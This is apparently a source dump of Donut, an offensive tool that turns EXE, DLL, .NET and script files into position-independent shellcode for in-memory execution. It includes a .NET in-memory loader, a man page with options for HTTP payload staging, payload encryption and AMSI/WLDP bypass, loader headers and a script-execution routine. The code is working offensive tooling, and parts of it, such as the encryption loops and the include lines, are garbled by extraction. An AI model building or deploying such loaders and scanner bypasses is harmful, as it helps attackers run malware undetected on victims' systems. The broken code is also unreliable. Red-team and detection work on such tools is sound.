| 230 | # Windows Installer files 231 | *.cab 232 | *.msi 233 | *.msm 234 | *.msp 235 | 236 | #OpenCover output 237 | coverage.xml 238 | 239 | #Msbuild binary log output 240 | output.binlog 241 | 242 | # KDiff3 243 | *_BACKUP_* 244 | *_BASE_* 245 | *_LOCAL_* 246 | *_REMOTE_* 247 | *.orig 248 | 249 | AkavacheSqliteLinkerOverride.cs 250 | NuGetBuild 251 | WiX.Toolset.DummyFile.txt 252 | GitHubVS.sln.DotSettings 253 | -------------------------------------------------------------------------------- /DonutTest/rundotnet.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #pragma comment(lib, "mscoree.lib") 44 | #import "mscorlib.tlb" raw_interfaces_only 45 | 46 | void rundotnet(void *code, size_t len) { 47 | HRESULT hr; 48 | ICorRuntimeHost *icrh; 49 | IUnknownPtr iu; 50 | mscorlib::_AppDomainPtr ad; 51 | mscorlib::_AssemblyPtr as; 52 | mscorlib::_MethodInfoPtr mi; 53 | VARIANT v1, v2; 54 | SAFEARRAY *sa; 55 | SAFEARRAYBOUND sab; 56 | 57 | printf("CorBindToRuntime(ICorRuntimeHost).\n"); 58 | hr = CorBindToRuntime( 59 | NULL, // load latest runtime version available 60 | NULL, // load workstation build 61 | CLSID_CorRuntimeHost, 62 | IID_ICorRuntimeHost, 63 | (LPVOID*)&icrh); 64 | 65 | if(FAILED(hr)) return; 66 | 67 | printf("ICorRuntimeHost::Start()\n"); 68 | hr = icrh->Start(); 69 | if(SUCCEEDED(hr)) { 70 | printf("ICorRuntimeHost::GetDefaultDomain()\n"); 71 | hr = icrh->GetDefaultDomain(&iu); 72 | if(SUCCEEDED(hr)) { 73 | printf("IUnknown::QueryInterface()\n"); 74 | hr = iu->QueryInterface(IID_PPV_ARGS(&ad)); 75 | if(SUCCEEDED(hr)) { 76 | sab.lLbound = 0; 77 | sab.cElements = len; 78 | printf("SafeArrayCreate()\n"); 79 | sa = SafeArrayCreate(VT_UI1, 1, &sab); 80 | if(sa != NULL) { 81 | CopyMemory(sa->pvData, code, len); 82 | printf("AppDomain::Load_3()\n"); 83 | hr = ad->Load_3(sa, &as); 84 | if(SUCCEEDED(hr)) { 85 | printf("Assembly::get_EntryPoint()\n"); 86 | hr = as->get_EntryPoint(&mi); 87 | if(SUCCEEDED(hr)) { 88 | v1.vt = VT_NULL; 89 | v1.plVal = NULL; 90 | printf("MethodInfo::Invoke_3()\n"); 91 | hr = mi->Invoke_3(v1, NULL, &v2); 92 | mi->Release(); 93 | } 94 | as->Release(); 95 | } 96 | SafeArrayDestroy(sa); 97 | } 98 | ad->Release(); 99 | } 100 | iu->Release(); 101 | } 102 | icrh->Stop(); 103 | } 104 | icrh->Release(); 105 | } 106 | 107 | int main(int argc, char *argv[]) 108 | { 109 | void *mem; 110 | struct stat fs; 111 | FILE *fd; 112 | 113 | if(argc != 2) { 114 | printf("usage: rundotnet <.NET assembly>\n"); 115 | return 0; 116 | } 117 | 118 | // 1. get the size of file 119 | stat(argv[1], &fs); 120 | 121 | if(fs.st_size == 0) { 122 | printf("file is empty.\n"); 123 | return 0; 124 | } 125 | 126 | // 2. try open assembly 127 | fd = fopen(argv[1], "rb"); 128 | if(fd == NULL) { 129 | printf("unable to open \"%s\".\n", argv[1]); 130 | return 0; 131 | } 132 | // 3. allocate memory 133 | mem = malloc(fs.st_size); 134 | if(mem != NULL) { 135 | // 4. read file into memory 136 | fread(mem, 1, fs.st_size, fd); 137 | // 5. run the program from memory 138 | rundotnet(mem, fs.st_size); 139 | // 6. free memory 140 | free(mem); 141 | } 142 | // 7. close assembly 143 | fclose(fd); 144 | 145 | return 0; 146 | } 147 | -------------------------------------------------------------------------------- /docs/donut.1: -------------------------------------------------------------------------------- 1 | '\" t 2 | .\" Title: donut 3 | .\" Author: Odzhan 4 | .\" Date: 12/24/2019 5 | .\" Manual: Donut Reference Guide 6 | .\" Source: Donut 7 | .\" Language: English 8 | .\" 9 | .TH "DONUT" "1" "12/24/2019" "Donut v0.9.3" "Donut Reference Guide" 10 | .SH NAME 11 | donut \- shellcode generator 12 | .SH SYNOPSIS 13 | .B donut 14 | [options] 15 | .IR file ... 16 | .SH DESCRIPTION 17 | Donut, named after the dotNET framework, generates position-independent code for in-memory execution of VBScript, JScript, EXE/DLL files on the Microsoft Windows operating system. Both managed .NET assemblies and unmanaged/native EXE, DLL files are supported by the loader. There are dynamic and static libraries available for both Windows and Linux. 18 | .SH MODULE OPTIONS 19 | .TP 20 | .BR \-n " " 21 | Module name for HTTP staging. If entropy is enabled, this is generated randomly. 22 | .TP 23 | .BR \-s " " 24 | URL for the HTTP server that will host a Donut module. 25 | .TP 26 | .BR \-e " " 27 | Entropy level. 1=None, 2=Generate random names, 3=Generate random names + use symmetric encryption (default). 28 | .SH PIC/SHELLCODE OPTIONS 29 | .TP 30 | .BR \-a " " 31 | Target architecture for loader : 1=x86, 2=amd64, 3=x86+amd64(default). 32 | .TP 33 | .BR \-b " " 34 | Behavior for bypassing AMSI/WLDP : 1=None, 2=Abort on fail, 3=Continue on fail.(default). 35 | .TP 36 | .BR \-o " " 37 | Output file to save loader. Default is "loader.bin". 38 | .TP 39 | .BR \-f " " 40 | Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=PowerShell, 7=C#, 8=Hexadecimal. 41 | .TP 42 | .BR \-y " " 43 | Create a new thread for loader and continue execution at address supplied. \fIaddr\fR must be in hexadecimal format. 44 | .TP 45 | .BR \-x " " 46 | Determines how the loader should exit. 1=exit thread (default), 2=exit process. 47 | .SH FILE OPTIONS 48 | .TP 49 | .BR \-c " " 50 | Optional class name. (required for .NET DLL) 51 | .TP 52 | .BR \-d " " 53 | AppDomain name to create for .NET assembly. If entropy is enabled, this is generated randomly. 54 | .TP 55 | .BR \-m " " 56 | Optional method or function for DLL. (a method is required for .NET DLL) 57 | .TP 58 | .BR \-p " " 59 | Optional arguments/command line inside quotations for DLL method/function or EXE. 60 | .TP 61 | .BR \-w 62 | Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI) 63 | .TP 64 | .BR \-r " " 65 | CLR runtime version. MetaHeader used by default or v4.0.30319 if none available. 66 | .TP 67 | .BR \-t 68 | Run the entrypoint of an unmanaged/native EXE as a thread and wait for thread to end. 69 | .TP 70 | .BR \-z " " 71 | Pack/Compress file. 1=None, 2=aPLib, 3=LZNT1, 4=Xpress. 72 | Compression engines 3 abd 4 are only available on Windows. 73 | .SH AUTHORS 74 | Odzhan, TheWover 75 | .SH DISCLAIMER 76 | The authors are not responsible for any misuse of this software or technique. Donut is provided as a demonstration of CLR Injection through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully that is correct. In the event EDR or AV products are capable of detecting Donut via signatures or behavioral patterns, we will not update Donut to counter signatures or detection methods. To avoid being offended, please do not ask. 77 | .SH COPYRIGHT 78 | BSD 3-Clause License 79 | 80 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 81 | 82 | Redistribution and use in source and binary forms, with or without 83 | modification, are permitted provided that the following conditions are met: 84 | 85 | * Redistributions of source code must retain the above copyright notice, this 86 | list of conditions and the following disclaimer. 87 | 88 | * Redistributions in binary form must reproduce the above copyright notice, 89 | this list of conditions and the following disclaimer in the documentation 90 | and/or other materials provided with the distribution. 91 | 92 | * Neither the name of the copyright holder nor the names of its 93 | contributors may be used to endorse or promote products derived from 94 | this software without specific prior written permission. 95 | 96 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 97 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 98 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 99 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 100 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 101 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 102 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 103 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 104 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 105 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 106 | .SH "NOTES" 107 | .IP " 1." 4 108 | Loading .NET Assemblies From Memory. 109 | .RS 4 110 | \%https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/ 111 | .RE 112 | .IP " 2." 4 113 | Donut - Injecting .NET Assemblies as Shellcode 114 | .RS 4 115 | \%https://thewover.github.io/Introducing-Donut/ 116 | .RE 117 | .IP " 3." 4 118 | How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code 119 | .RS 4 120 | \%https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/ 121 | .RE 122 | .IP " 4." 4 123 | In-Memory Execution of DLL 124 | .RS 4 125 | \%https://modexp.wordpress.com/2019/06/24/inmem-exec-dll/ 126 | .RE 127 | .IP " 5." 4 128 | Data Compression 129 | .RS 4 130 | \%https://modexp.wordpress.com/2019/12/08/shellcode-compression/ 131 | .RE 132 | -------------------------------------------------------------------------------- /loader/loader.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef LOADER_H 33 | #define LOADER_H 34 | 35 | #if !defined(_MSC_VER) 36 | #define __out_ecount_full(x) 37 | #define __out_ecount_full_opt(x) 38 | #include 39 | #endif 40 | 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #pragma comment(lib, "wininet.lib") 49 | #pragma comment(lib, "advapi32.lib") 50 | #pragma comment(lib, "crypt32.lib") 51 | #pragma comment(lib, "ole32.lib") 52 | #pragma comment(lib, "shlwapi.lib") 53 | #pragma comment(lib, "shell32.lib") 54 | 55 | #if defined(DEBUG) 56 | #include 57 | #include 58 | 59 | #define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__) 60 | 61 | #define DPRINT(...) { \ 62 | fprintf(stderr, "\nDEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \ 63 | fprintf(stderr, __VA_ARGS__); \ 64 | } 65 | #else 66 | #define DPRINT(...) // Don't do anything in release builds 67 | #endif 68 | 69 | #define STATIC_KEY ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ 70 | (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ 71 | (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) 72 | 73 | // Relative Virtual Address to Virtual Address 74 | #define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) 75 | 76 | #if defined(_M_IX86) || defined(__i386__) 77 | // return pointer to code in memory 78 | char *get_pc(void); 79 | 80 | // PC-relative addressing for x86 code. Similar to RVA2VA except using functions in payload 81 | #define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr)) 82 | #else 83 | #define ADR(type, addr) (type)(addr) // do nothing on 64-bit 84 | #endif 85 | 86 | void *Memset(void *ptr, int value, unsigned int num); 87 | void *Memcpy(void *destination, const void *source, unsigned int num); 88 | int Memcmp(const void *ptr1, const void *ptr2, unsigned int num); 89 | int _strcmp(const char *s1, const char *s2); 90 | NTSTATUS RtlUserThreadStart(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter); 91 | 92 | #if !defined(_MSC_VER) 93 | #define memcmp(x,y,z) Memcmp(x,y,z) 94 | #endif 95 | 96 | #include "depack.h" 97 | #include "peb.h" // Process Environment Block 98 | #include "winapi.h" // Prototypes 99 | #include "clr.h" // Common Language Runtime Interface 100 | 101 | #include "donut.h" 102 | 103 | #include "amsi.h" // Anti-malware Scan Interface 104 | #include "activescript.h" // Interfaces for executing VBS/JS files 105 | #include "wscript.h" // Interfaces to support WScript object 106 | #include "bypass.h" // Structs and function definitions for needed by bypasses 107 | 108 | typedef struct { 109 | IActiveScriptSite site; 110 | IActiveScriptSiteWindow siteWnd; 111 | IHost wscript; 112 | PDONUT_INSTANCE inst; // 113 | } MyIActiveScriptSite; 114 | 115 | // internal structure 116 | typedef struct _DONUT_ASSEMBLY { 117 | ICLRMetaHost *icmh; 118 | ICLRRuntimeInfo *icri; 119 | ICorRuntimeHost *icrh; 120 | IUnknown *iu; 121 | AppDomain *ad; 122 | Assembly *as; 123 | Type *type; 124 | MethodInfo *mi; 125 | } DONUT_ASSEMBLY, *PDONUT_ASSEMBLY; 126 | 127 | // Downloads a module from remote HTTP server into memory 128 | BOOL DownloadFromHTTP(PDONUT_INSTANCE); 129 | 130 | // .NET DLL/EXE 131 | BOOL LoadAssembly(PDONUT_INSTANCE, PDONUT_MODULE, PDONUT_ASSEMBLY); 132 | BOOL RunAssembly(PDONUT_INSTANCE, PDONUT_MODULE, PDONUT_ASSEMBLY); 133 | VOID FreeAssembly(PDONUT_INSTANCE, PDONUT_ASSEMBLY); 134 | 135 | // In-Memory execution of native DLL 136 | VOID RunPE(PDONUT_INSTANCE, PDONUT_MODULE); 137 | 138 | // VBS / JS files 139 | VOID RunScript(PDONUT_INSTANCE, PDONUT_MODULE); 140 | 141 | LPVOID xGetProcAddressByHash(PDONUT_INSTANCE, ULONGLONG, ULONGLONG); 142 | 143 | LPVOID xGetProcAddressByHash(PDONUT_INSTANCE inst, ULONG64 ulHash, ULONG64 ulIV); 144 | 145 | LPVOID xGetLibAddress(PDONUT_INSTANCE inst, PCHAR dll_name); 146 | 147 | LPVOID xGetProcAddress(PDONUT_INSTANCE inst, LPVOID base, PCHAR api_name, DWORD ordinal); 148 | 149 | #endif 150 | -------------------------------------------------------------------------------- /encrypt.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include "encrypt.h" 33 | 34 | #include 35 | #include 36 | 37 | static void chaskey(void *mk, void *p) { 38 | uint32_t i,*w=p,*k=mk; 39 | 40 | // add 128-bit master key 41 | for(i=0;i<4;i++) w[i]^=k[i]; 42 | 43 | // apply 16 rounds of permutation 44 | for(i=0;i<16;i++) { 45 | w[0] += w[1], 46 | w[1] = ROTR32(w[1], 27) ^ w[0], 47 | w[2] += w[3], 48 | w[3] = ROTR32(w[3], 24) ^ w[2], 49 | w[2] += w[1], 50 | w[0] = ROTR32(w[0], 16) + w[3], 51 | w[3] = ROTR32(w[3], 19) ^ w[0], 52 | w[1] = ROTR32(w[1], 25) ^ w[2], 53 | w[2] = ROTR32(w[2], 16); 54 | } 55 | // add 128-bit master key 56 | for(i=0;i<4;i++) w[i]^=k[i]; 57 | } 58 | 59 | // encrypt/decrypt data in counter mode 60 | void donut_encrypt(void *mk, void *ctr, void *data, uint32_t len) { 61 | uint8_t x[CIPHER_BLK_LEN], 62 | *p=(uint8_t*)data, 63 | *c=(uint8_t*)ctr; 64 | uint32_t i, r; 65 | 66 | while(len) { 67 | // copy counter+nonce to local buffer 68 | for(i=0;i CIPHER_BLK_LEN ? CIPHER_BLK_LEN : len; 76 | 77 | for(i=0;i0;i--) 85 | if(++c[i-1]) break; 86 | } 87 | } 88 | 89 | #ifdef TEST 90 | 91 | #include 92 | #include 93 | #include 94 | #include 95 | #include 96 | #include 97 | #include 98 | 99 | #if defined(_WIN32) || defined(_WIN64) 100 | #define WINDOWS 101 | #include 102 | #pragma comment(lib, "advapi32.lib") 103 | #else 104 | #include 105 | #endif 106 | 107 | void bin2hex(const char *str, void *bin, int len) { 108 | int i; 109 | uint8_t *p = (uint8_t*)bin; 110 | 111 | printf("%s[%i] = { ", str, len); 112 | 113 | for(i=0;iapi.VirtualAlloc( 48 | NULL, 49 | (inst->mod_len + 1) * sizeof(WCHAR), 50 | MEM_COMMIT | MEM_RESERVE, 51 | PAGE_READWRITE); 52 | 53 | // 2. Convert string to unicode. 54 | if(script != NULL) { 55 | // 2. Convert string to unicode. 56 | inst->api.MultiByteToWideChar(CP_ACP, 0, mod->data, 57 | -1, script, mod->len * sizeof(WCHAR)); 58 | 59 | // setup the IActiveScriptSite interface 60 | mas.site.lpVtbl = (IActiveScriptSiteVtbl*)&activescript_vtbl; 61 | ActiveScript_New(inst, &mas.site); 62 | 63 | // setup the IActiveScriptSiteWindow interface for GUI stuff 64 | mas.siteWnd.lpVtbl = (IActiveScriptSiteWindowVtbl*)&siteWnd_vtbl; 65 | ActiveScriptSiteWindow_New(inst, &mas.siteWnd); 66 | 67 | // setup the IHost interface for WScript object 68 | mas.wscript.lpVtbl = (IHostVtbl*)&wscript_vtbl; 69 | Host_New(inst, &mas.wscript); 70 | 71 | // 4. Initialize COM, MyIActiveScriptSite 72 | DPRINT("CoInitializeEx"); 73 | hr = inst->api.CoInitializeEx(NULL, COINIT_MULTITHREADED); 74 | 75 | if(hr == S_OK) { 76 | // 5. Instantiate the active script engine 77 | DPRINT("CoCreateInstance(IID_IActiveScript)"); 78 | 79 | hr = inst->api.CoCreateInstance( 80 | &inst->xCLSID_ScriptLanguage, 0, 81 | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, 82 | &inst->xIID_IActiveScript, (void **)&engine); 83 | 84 | if(hr == S_OK) { 85 | // 6. Get IActiveScriptParse object from engine 86 | DPRINT("IActiveScript::QueryInterface(IActiveScriptParse)"); 87 | 88 | hr = engine->lpVtbl->QueryInterface( 89 | engine, 90 | #ifdef _WIN64 91 | &inst->xIID_IActiveScriptParse64, 92 | #else 93 | &inst->xIID_IActiveScriptParse32, 94 | #endif 95 | (void **)&parser); 96 | 97 | if(hr == S_OK) { 98 | // 7. Initialize parser 99 | DPRINT("IActiveScriptParse::InitNew"); 100 | hr = parser->lpVtbl->InitNew(parser); 101 | 102 | if(hr == S_OK) { 103 | // 8. Set custom script interface 104 | DPRINT("IActiveScript::SetScriptSite"); 105 | mas.wscript.lpEngine = engine; 106 | 107 | hr = engine->lpVtbl->SetScriptSite( 108 | engine, (IActiveScriptSite *)&mas); 109 | 110 | if(hr == S_OK) { 111 | DPRINT("IActiveScript::AddNamedItem(\"%s\")", inst->wscript); 112 | ansi2unicode(inst, inst->wscript, buf); 113 | obj = inst->api.SysAllocString(buf); 114 | hr = engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj, SCRIPTITEM_ISVISIBLE); 115 | inst->api.SysFreeString(obj); 116 | 117 | if(hr == S_OK) { 118 | // 9. Load script 119 | DPRINT("IActiveScriptParse::ParseScriptText"); 120 | hr = parser->lpVtbl->ParseScriptText( 121 | parser, (LPCOLESTR)script, NULL, NULL, NULL, 0, 0, 0, NULL, NULL); 122 | 123 | if(hr == S_OK) { 124 | // 10. Run script 125 | DPRINT("IActiveScript::SetScriptState(SCRIPTSTATE_CONNECTED)"); 126 | hr = engine->lpVtbl->SetScriptState( 127 | engine, SCRIPTSTATE_CONNECTED); 128 | 129 | // SetScriptState blocks here 130 | } 131 | } 132 | } 133 | } 134 | DPRINT("IActiveScriptParse::Release"); 135 | parser->lpVtbl->Release(parser); 136 | } 137 | DPRINT("IActiveScript::Close"); 138 | engine->lpVtbl->Close(engine); 139 | 140 | DPRINT("IActiveScript::Release"); 141 | engine->lpVtbl->Release(engine); 142 | } 143 | } 144 | DPRINT("Erasing script from memory"); 145 | Memset(script, 0, (inst->mod_len + 1) * sizeof(WCHAR)); 146 | 147 | DPRINT("VirtualFree(script)"); 148 | inst->api.VirtualFree(script, 0, MEM_RELEASE | MEM_DECOMMIT); 149 | } 150 | } 151 | 152 | #include "activescript.c" 153 | #include "wscript.c" 154 | -------------------------------------------------------------------------------- /loader/test/debug.cpp: -------------------------------------------------------------------------------- 1 | 2 | // example of using the windows debugger engine from console 3 | // derived from code by the blabberer 4 | 5 | #include "debug.h" 6 | 7 | // ##################### Debug class ######################## 8 | Debug::Debug() { 9 | Client = NULL; 10 | Control = NULL; 11 | Breakpoint = NULL; 12 | 13 | // create instance of IDebugClient 14 | Status = DebugCreate(__uuidof(IDebugClient), (void**)&Client); 15 | if(Status == S_OK) { 16 | // obtain IDebugControl interface 17 | Status = Client->QueryInterface(__uuidof(IDebugControl), (void**)&Control); 18 | if(Status == S_OK) { 19 | // setup callbacks for console I/O 20 | Client->SetOutputCallbacks(&OutputCb); 21 | Client->SetInputCallbacks(&InputCb); 22 | InputCb.Control = Control; 23 | 24 | Client->SetEventCallbacks(&EventCb); 25 | EventCb.Control = Control; 26 | } 27 | } 28 | } 29 | 30 | // create new process or attach to existing one 31 | // CommandLine should be set to NULL if attaching 32 | Debug::Debug(PSTR CommandLine, ULONG ProcessId) { 33 | Debug(); 34 | Start(CommandLine, ProcessId); 35 | } 36 | 37 | Debug::~Debug() { 38 | if (Control != NULL) { 39 | Control->Release(); 40 | Control = NULL; 41 | } 42 | if (Client != NULL) { 43 | Client->EndSession(DEBUG_END_PASSIVE); 44 | Client->Release(); 45 | Client = NULL; 46 | } 47 | } 48 | 49 | BOOL Debug::Start(PSTR CommandLine, ULONG ProcessId) { 50 | ULONG AttachFlags = DEBUG_ATTACH_NONINVASIVE | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND; 51 | ULONG CreateFlags = DEBUG_ONLY_THIS_PROCESS; 52 | 53 | Status = Client->CreateProcessAndAttach(0, CommandLine, CreateFlags, ProcessId, AttachFlags); 54 | return Status == S_OK; 55 | } 56 | 57 | // ##################### IDebugOutputCallbacks ######################## 58 | // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/dbgeng/nn-dbgeng-idebugoutputcallbacks 59 | STDMETHODIMP StdioOutputCallbacks::QueryInterface(THIS_ IN REFIID InterfaceId, OUT PVOID* Interface) { 60 | *Interface = NULL; 61 | 62 | if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) || 63 | IsEqualIID(InterfaceId, __uuidof(IDebugOutputCallbacks))) { 64 | *Interface = (IDebugOutputCallbacks *)this; 65 | AddRef(); 66 | return S_OK; 67 | } else { 68 | return E_NOINTERFACE; 69 | } 70 | } 71 | 72 | // ##################### IDebugInputCallbacks ######################## 73 | // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/dbgeng/nn-dbgeng-idebuginputcallbacks 74 | STDMETHODIMP StdioInputCallbacks::QueryInterface( THIS_ IN REFIID InterfaceId, OUT PVOID* Interface) { 75 | *Interface = NULL; 76 | 77 | if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) || 78 | IsEqualIID(InterfaceId, __uuidof(IDebugInputCallbacks))) { 79 | *Interface = (IDebugInputCallbacks *)this; 80 | AddRef(); 81 | return S_OK; 82 | } else { 83 | return E_NOINTERFACE; 84 | } 85 | } 86 | 87 | STDMETHODIMP StdioInputCallbacks::StartInput(THIS_ IN ULONG BufferSize) { 88 | char *Buffer; 89 | 90 | Buffer = (char *)calloc(1, BufferSize+8); 91 | fgets(Buffer, BufferSize, stdin); 92 | Control->ReturnInput(Buffer); 93 | free(Buffer); 94 | 95 | return S_OK; 96 | } 97 | 98 | // ##################### DebugBaseEventCallbacks ######################## 99 | STDMETHODIMP EventCallbacks::Breakpoint( THIS_ IN PDEBUG_BREAKPOINT Bp ) { 100 | return DEBUG_STATUS_BREAK; 101 | } 102 | 103 | STDMETHODIMP EventCallbacks::CreateProcess(THIS_ IN ULONG64 ImageFileHandle, IN ULONG64 Handle, 104 | IN ULONG64 BaseOffset,IN ULONG ModuleSize,IN PCSTR ModuleName,IN PCSTR ImageName, 105 | IN ULONG CheckSum, IN ULONG TimeDateStamp,IN ULONG64 InitialThreadHandle, 106 | IN ULONG64 ThreadDataOffset, IN ULONG64 StartOffset 107 | ) 108 | { 109 | HRESULT Status; 110 | IDebugBreakpoint* Breakpoint; 111 | 112 | Status = Control->AddBreakpoint(DEBUG_BREAKPOINT_CODE, DEBUG_ANY_ID, &Breakpoint); 113 | if(Status == S_OK) { 114 | Status = Breakpoint->SetOffset(StartOffset); 115 | if(Status == S_OK) { 116 | Status = Breakpoint->SetFlags(DEBUG_BREAKPOINT_ENABLED); 117 | } 118 | } 119 | return DEBUG_STATUS_NO_CHANGE; 120 | } 121 | 122 | STDMETHODIMP EventCallbacks::CreateThread(THIS_ IN ULONG64 Handle, IN ULONG64 DataOffset, IN ULONG64 StartOffset) { 123 